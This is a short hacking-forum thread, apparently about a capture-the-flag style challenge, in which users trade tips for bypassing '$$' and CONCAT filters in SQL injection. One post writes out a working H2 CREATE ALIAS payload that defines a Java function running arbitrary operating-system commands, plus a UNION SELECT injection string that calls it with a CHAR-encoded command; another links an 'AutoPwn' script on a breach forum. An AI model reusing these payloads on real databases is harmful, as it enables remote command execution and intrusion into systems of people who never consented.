[mazafaka555]

you should better explain how to bypass filter for $$ and CONCAT instead of just flag

create aliases without a  `$`

CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A").next() : ""; }';

How can I then use the alias? I'm trying something like: 

SQL Injection' OR 1=0 UNION SELECT EXECVE(CHAR(119) + CHAR(104) + CHAR(111) + CHAR(97) + CHAR(109) + CHAR(105)) -- -

to bypass CONCAT but I don't get it to work :/

i posted AutoPwn script here for your consumption :
http://breachqr3dqbysbq5khaadg5ynnpxn2wr...pwn-script

[0xhdfg]

Don't have credits, give me a clue :/